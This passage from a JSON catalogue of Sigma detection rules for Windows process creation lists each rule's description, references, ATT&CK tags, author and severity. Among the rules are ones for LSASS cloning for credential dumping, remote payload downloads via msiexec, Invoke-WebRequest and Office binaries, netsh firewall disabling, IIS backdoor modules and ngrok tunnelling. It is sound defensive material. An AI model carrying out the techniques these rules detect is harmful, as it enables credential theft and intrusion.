GUP Utility", - "meta": { - "refs": [ - "https://twitter.com/nas_bench/status/1535322445439180803", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/06/10", - "filename": "proc_creation_win_susp_gup_execution.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Other parent binaries using GUP not currently identified" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use of hostname to get information", - "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", - "value": "Suspicious Execution of Hostname", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_susp_hostname.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", - "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", - "value": "Suspicious IIS Module Registration", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" - ], - "tags": "No established tags", - "creation_date": "2022/08/04", - "filename": "proc_creation_win_susp_iis_module_registration.yml", - "author": "Florian Roth (rule), Microsoft (idea)", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", - "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", - "value": "Execution Of Non-Existing File", - "meta": { - "refs": [ - "https://pentestlaboratories.com/2021/12/08/process-ghosting/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/12/09", - "filename": "proc_creation_win_susp_image_missing.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", - "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", - "value": "Suspicious Execution of InstallUtil Without Log", - "meta": { - "refs": [ - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/01/23", - "filename": "proc_creation_win_susp_instalutil.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", - "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", - "value": "Suspicious Invoke-WebRequest Usage", - "meta": { - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/08/02", - "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious IIS native-code module installations via command line", - "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", - "value": "IIS Native-Code Module Command Line Installation", - "meta": { - "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", - "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2019/12/11", - "filename": "proc_creation_win_susp_iss_module_install.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the rare use of the command line tool shutdown to logoff a user", - "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", - "value": "Suspicious Execution of Shutdown to Log Out", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" - ], - "tags": [ - "attack.impact", - "attack.t1529" - ], - "creation_date": "2022/10/01", - "filename": "proc_creation_win_susp_logoff.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", - "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", - "value": "Wscript Execution from Non C Drive", - "meta": { - "refs": [ - "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", - "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/10/01", - "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", - "author": "Aaron Herman", - "level": "medium", - "falsepositive": [ - "Legitimate applications installed on other partitions such as \"D:\"" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", - "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", - "value": "Suspicious LSASS Process Clone", - "meta": { - "refs": [ - "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", - "https://twitter.com/Hexacorn/status/1420053502554951689", - "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.001" - ], - "creation_date": "2021/11/27", - "filename": "proc_creation_win_susp_lsass_clone.yml", - "author": "Florian Roth, Samir Bousseaden", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Use of reg to get MachineGuid information", - "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", - "value": "Suspicious Query of MachineGUID", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1082" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_susp_machineguid.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", - "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", - "value": "Suspicious Microsoft OneNote Child Process", - "meta": { - "refs": [ - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" - ], - "tags": [ - "attack.t1566", - "attack.t1566.001", - "attack.initial_access" - ], - "creation_date": "2022/10/21", - "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", - "author": "Tim Rauch (rule), Elastic (idea)", - "level": "medium", - "falsepositive": [ - "File located in the AppData folder with trusted signature" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", - "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", - "value": "Missing Space Characters in Command Lines", - "meta": { - "refs": [ - "https://twitter.com/cyb3rops/status/1562072617552678912", - "https://ss64.com/nt/cmd.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/08/23", - "filename": "proc_creation_win_susp_missing_spaces.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", - "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", - "value": "Suspicious Mofcomp Execution", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", - "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ], - "creation_date": "2022/07/12", - "filename": "proc_creation_win_susp_mofcomp_execution.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", - "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", - "value": "Mounted Share Deleted", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_win_susp_mounted_share_deletion.yml", - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "level": "low", - "falsepositive": [ - "Administrators or Power users may remove their shares via cmd line" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", - "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", - "value": "MpiExec Lolbin", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1465058133303246867", - "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/01/11", - "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", - "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", - "value": "MSHTA Suspicious Execution 01", - "meta": { - "refs": [ - "http://blog.sevagas.com/?Hacking-around-HTA-files", - "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", - "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", - "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", - "https://twitter.com/mattifestation/status/1326228491302563846", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.t1218.005", - "attack.execution", - "attack.t1059.007", - "cve.2020.1599" - ], - "creation_date": "2019/02/22", - "filename": "proc_creation_win_susp_mshta_execution.yml", - "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious mshta process patterns", - "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", - "value": "Suspicious MSHTA Process Patterns", - "meta": { - "refs": [ - "https://en.wikipedia.org/wiki/HTML_Application", - "https://www.echotrail.io/insights/search/mshta.exe", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106" - ], - "creation_date": "2021/07/17", - "filename": "proc_creation_win_susp_mshta_pattern.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", - "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", - "value": "Mshtml DLL RunHTMLApplication Abuse", - "meta": { - "refs": [ - "https://twitter.com/n1nj4sec/status/1421190238081277959", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/08/14", - "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of msiexec from an uncommon directory", - "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", - "value": "Suspicious MsiExec Directory", - "meta": { - "refs": [ - "https://twitter.com/200_okay_/status/1194765831911215104", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ], - "creation_date": "2019/11/14", - "filename": "proc_creation_win_susp_msiexec_cwd.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious msiexec process starts with web addresses as parameter", - "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", - "value": "MsiExec Web Install", - "meta": { - "refs": [ - "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007", - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2018/02/09", - "filename": "proc_creation_win_susp_msiexec_web_install.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Downloads payload from remote server", - "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", - "value": "Malicious Payload Download via Office Binaries", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", - "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", - "Reegun J (OCBC Bank)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_susp_msoffice.yml", - "author": "Beyu Denis, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", - "value": "Suspicious Netsh Discovery Command", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ], - "creation_date": "2021/12/07", - "filename": "proc_creation_win_susp_netsh_discovery_command.yml", - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "level": "low", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects persitence via netsh helper", - "uuid": "56321594-9087-49d9-bf10-524fe8479452", - "value": "Suspicious Netsh DLL Persistence", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", - "https://attack.mitre.org/software/S0108/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1546.007", - "attack.s0108" - ], - "creation_date": "2019/10/25", - "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", - "author": "Victor Sergeev, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects netsh commands that turns off the Windows firewall", - "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", - "value": "Firewall Disabled via Netsh", - "meta": { - "refs": [ - "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", - "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004", - "attack.s0108" - ], - "creation_date": "2019/11/01", - "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", - "author": "Fatih Sirin", - "level": "medium", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", - "uuid": "37e8d358-6408-4853-82f4-98333fca7014", - "value": "Execution of NetSupport RAT From Unusual Location", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/19", - "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", - "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", - "value": "Suspicious Network Command", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1016" - ], - "creation_date": "2021/12/07", - "filename": "proc_creation_win_susp_network_command.yml", - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "level": "low", - "falsepositive": [ - "Administrator, hotline ask to user" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", - "value": "Suspicious Listing of Network Connections", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ], - "creation_date": "2021/12/10", - "filename": "proc_creation_win_susp_network_listing_connections.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of Net.exe, whether suspicious or benign.", - "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", - "value": "Net.exe Execution", - "meta": { - "refs": [ - "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", - "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", - "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", - "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1007", - "attack.t1049", - "attack.t1018", - "attack.t1135", - "attack.t1201", - "attack.t1069.001", - "attack.t1069.002", - "attack.t1087.001", - "attack.t1087.002", - "attack.lateral_movement", - "attack.t1021.002", - "attack.s0039" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_net_execution.yml", - "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", - "level": "low", - "falsepositive": [ - "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", - "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", - "value": "Suspicious Net Use Command Combo", - "meta": { - "refs": [ - "https://twitter.com/ShadowChasing1/status/1552595370961944576", - "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2022/09/01", - "filename": "proc_creation_win_susp_net_use.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a when net.exe is called with a password in the command line", - "uuid": "d4498716-1d52-438f-8084-4a603157d131", - "value": "Password Provided In Command Line Of Net.exe", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/09", - "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", - "author": "Tim Shelton (HAWK.IO)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", - "uuid": "431a1fdb-4799-4f3b-91c3-a683b003fc49", - "value": "New Kernel Driver Via SC.EXE", - "meta": { - "refs": [ - "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/14", - "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Rare legitimate installation of kernel drivers via sc.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", - "uuid": "17a1be64-8d88-40bf-b5ff-a4f7a50ebcc8", - "value": "Suspicious New Service Creation", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_service_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ], - "creation_date": "2022/07/14", - "filename": "proc_creation_win_susp_new_service_creation.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available.\nInvolved domains are bin.equinox.io for download and *.ngrok.io for connections.\n", - "uuid": "ee37eb7c-a4e7-4cd5-8fa4-efa27f1c3f31", - "value": "Ngrok Usage", - "meta": { - "refs": [ - "https://ngrok.com/docs", - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", - "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", - "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", - "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/.", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ngrok_pua.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ], - "creation_date": "2021/05/14", - "filename": "proc_creation_win_susp_ngrok_pua.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Another tool that uses the command line switches of Ngrok", - "Ngrok http 3978 (https://docs.microsoft.com/en-us/azure/bot-service/bot-service-debug-channel-ngrok?view=azure-bot-service-4.0)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", - "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3", - "value": "Suspicious Nmap Execution", - "meta": { - "refs": [ - "https://nmap.org/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nmap.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2021/12/10", - "filename": "proc_creation_win_susp_nmap.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Network administrator computer" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", - 